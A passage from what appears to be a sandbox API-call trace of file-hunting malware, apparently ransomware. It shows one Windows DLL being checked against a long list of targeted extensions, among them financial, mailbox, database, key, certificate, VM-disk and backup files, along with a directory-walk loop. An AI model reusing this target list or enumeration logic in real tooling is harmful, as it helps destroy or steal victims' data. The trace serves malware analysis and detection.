(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qbo") returned 0 [0108.800] lstrlenA (lpString="*.qbo") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qbx") returned 0 [0108.800] lstrlenA (lpString="*.qbx") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qba") returned 0 [0108.800] lstrlenA (lpString="*.qba") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qby") returned 0 [0108.800] lstrlenA (lpString="*.qby") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qbj") returned 0 [0108.800] lstrlenA (lpString="*.qbj") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.ofx") returned 0 [0108.800] lstrlenA (lpString="*.ofx") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.qif") returned 0 [0108.800] lstrlenA (lpString="*.qif") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mye") returned 0 [0108.800] lstrlenA (lpString="*.mye") returned 5 [0108.800] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mbox") returned 0 [0108.801] lstrlenA (lpString="*.mbox") returned 6 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.801] lstrlenA (lpString="*.eml") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.pst") returned 0 [0108.801] lstrlenA (lpString="*.pst") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.ost") returned 0 [0108.801] lstrlenA (lpString="*.ost") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.idx") returned 0 [0108.801] lstrlenA (lpString="*.idx") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.dbx") returned 0 [0108.801] lstrlenA (lpString="*.dbx") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.sql") returned 0 [0108.801] lstrlenA (lpString="*.sql") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mdb") returned 0 [0108.801] lstrlenA (lpString="*.mdb") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.fdb") returned 0 [0108.801] lstrlenA (lpString="*.fdb") returned 5 [0108.801] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.wab") returned 0 [0108.801] lstrlenA (lpString="*.wab") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.dat") returned 0 [0108.802] lstrlenA (lpString="*.dat") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.txt") returned 0 [0108.802] lstrlenA (lpString="*.txt") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.jpeg") returned 0 [0108.802] lstrlenA (lpString="*.jpeg") returned 6 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.jpg") returned 0 [0108.802] lstrlenA (lpString="*.jpg") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.png") returned 0 [0108.802] lstrlenA (lpString="*.png") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.php") returned 0 [0108.802] lstrlenA (lpString="*.php") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.cs") returned 0 [0108.802] lstrlenA (lpString="*.cs") returned 4 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.cpp") returned 0 [0108.802] lstrlenA (lpString="*.cpp") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.rar") returned 0 [0108.802] lstrlenA (lpString="*.rar") returned 5 [0108.802] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.zip") returned 0 [0108.803] lstrlenA (lpString="*.zip") returned 5 [0108.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.html") returned 0 [0108.803] lstrlenA (lpString="*.html") returned 6 [0108.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.htm") returned 0 [0108.803] lstrlenA (lpString="*.htm") returned 5 [0108.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.xlsx") returned 0 [0108.803] lstrlenA (lpString="*.xlsx") returned 6 [0108.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.xls") returned 0 [0108.803] lstrlenA (lpString="*.xls") returned 5 [0108.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mp4") returned 0 [0108.803] lstrlenA (lpString="*.mp4") returned 5 [0108.803] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.ppt") returned 0 [0108.804] lstrlenA (lpString="*.ppt") returned 5 [0108.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.pptx") returned 0 [0108.804] lstrlenA (lpString="*.pptx") returned 6 [0108.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.doc") returned 0 [0108.804] lstrlenA (lpString="*.doc") returned 5 [0108.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.dot") returned 0 [0108.804] lstrlenA (lpString="*.dot") returned 5 [0108.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.docx") returned 0 [0108.804] lstrlenA (lpString="*.docx") returned 6 [0108.804] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.7z") returned 0 [0108.804] lstrlenA (lpString="*.7z") returned 4 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.tar") returned 0 [0108.805] lstrlenA (lpString="*.tar") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.bz2") returned 0 [0108.805] lstrlenA (lpString="*.bz2") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.gz") returned 0 [0108.805] lstrlenA (lpString="*.gz") returned 4 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mkv") returned 0 [0108.805] lstrlenA (lpString="*.mkv") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.eml") returned 0 [0108.805] lstrlenA (lpString="*.eml") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.msg") returned 0 [0108.805] lstrlenA (lpString="*.msg") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.edb") returned 0 [0108.805] lstrlenA (lpString="*.edb") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.accdb") returned 0 [0108.805] lstrlenA (lpString="*.accdb") returned 7 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.odb") returned 0 [0108.805] lstrlenA (lpString="*.odb") returned 5 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.java") returned 0 [0108.805] lstrlenA (lpString="*.java") returned 6 [0108.805] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.asm") returned 0 [0108.806] lstrlenA (lpString="*.asm") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.pfx") returned 0 [0108.806] lstrlenA (lpString="*.pfx") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.pem") returned 0 [0108.806] lstrlenA (lpString="*.pem") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.p12") returned 0 [0108.806] lstrlenA (lpString="*.p12") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.gpg") returned 0 [0108.806] lstrlenA (lpString="*.gpg") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.vsd") returned 0 [0108.806] lstrlenA (lpString="*.vsd") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.odg") returned 0 [0108.806] lstrlenA (lpString="*.odg") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.raw") returned 0 [0108.806] lstrlenA (lpString="*.raw") returned 5 [0108.806] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.nef") returned 0 [0108.806] lstrlenA (lpString="*.nef") returned 5 [0108.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.svg") returned 0 [0108.807] lstrlenA (lpString="*.svg") returned 5 [0108.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.psd") returned 0 [0108.807] lstrlenA (lpString="*.psd") returned 5 [0108.807] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.vmx") returned 0 [0108.808] lstrlenA (lpString="*.vmx") returned 5 [0108.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.vmdk") returned 0 [0108.808] lstrlenA (lpString="*.vmdk") returned 6 [0108.808] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.vdi") returned 0 [0108.808] lstrlenA (lpString="*.vdi") returned 5 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.lay6") returned 0 [0108.812] lstrlenA (lpString="*.lay6") returned 6 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mpeg") returned 0 [0108.812] lstrlenA (lpString="*.mpeg") returned 6 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.djvu") returned 0 [0108.812] lstrlenA (lpString="*.djvu") returned 6 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.tiff") returned 0 [0108.812] lstrlenA (lpString="*.tiff") returned 6 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.backup") returned 0 [0108.812] lstrlenA (lpString="*.backup") returned 8 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.pdf") returned 0 [0108.812] lstrlenA (lpString="*.pdf") returned 5 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.cert") returned 0 [0108.812] lstrlenA (lpString="*.cert") returned 6 [0108.812] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.docm") returned 0 [0108.812] lstrlenA (lpString="*.docm") returned 6 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.xlsm") returned 0 [0108.813] lstrlenA (lpString="*.xlsm") returned 6 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.dwg") returned 0 [0108.813] lstrlenA (lpString="*.dwg") returned 5 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.nd") returned 0 [0108.813] lstrlenA (lpString="*.nd") returned 4 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.tlg") returned 0 [0108.813] lstrlenA (lpString="*.tlg") returned 5 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.lgb") returned 0 [0108.813] lstrlenA (lpString="*.lgb") returned 5 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mov") returned 0 [0108.813] lstrlenA (lpString="*.mov") returned 5 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.xdw") returned 0 [0108.813] lstrlenA (lpString="*.xdw") returned 5 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.ods") returned 0 [0108.813] lstrlenA (lpString="*.ods") returned 5 [0108.813] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.wav") returned 0 [0108.814] lstrlenA (lpString="*.wav") returned 5 [0108.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.mp3") returned 0 [0108.814] lstrlenA (lpString="*.mp3") returned 5 [0108.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.aiff") returned 0 [0108.814] lstrlenA (lpString="*.aiff") returned 6 [0108.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.flac") returned 0 [0108.814] lstrlenA (lpString="*.flac") returned 6 [0108.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.m4a") returned 0 [0108.814] lstrlenA (lpString="*.m4a") returned 5 [0108.814] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\83eb9d7a083d37f2e0b6cd6bc5020357\\Microsoft.Office.Tools.Excel.v9.0.ni.dll", pszSpec="*.csv") returned 0 [0108.814] lstrlenA (lpString="*.csv") returned 5 [0108.814] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x471d8570, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x471d8570, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x471fe6d0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1c9e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Office.Tools.Excel.v9.0.ni.dll", cAlternateFileName="MICROS~1.DLL")) returned 0 [0108.814] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0108.814] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x466d5fb0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x466d5fb0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x466d5fb0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="ada202fb7fc24ae3e07c48537b86a3d9", cAlternateFileName="ADA202~1")) returned 1 [0108.814] lstrcmpA (lpString1=".", lpString2="ada202fb7fc24ae3e07c48537b86a3d9") returned -1 [0108.815] lstrcmpA (lpString1="..", lpString2="ada202fb7fc24ae3e07c48537b86a3d9") returned -1 [0108.815] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\*.*") returned="*.*" [0108.815] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\", lpString2="ada202fb7fc24ae3e07c48537b86a3d9" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\Microsoft.Office.To#\\ada202fb7fc24ae3e07c48537b86a3d9" [0108.815] 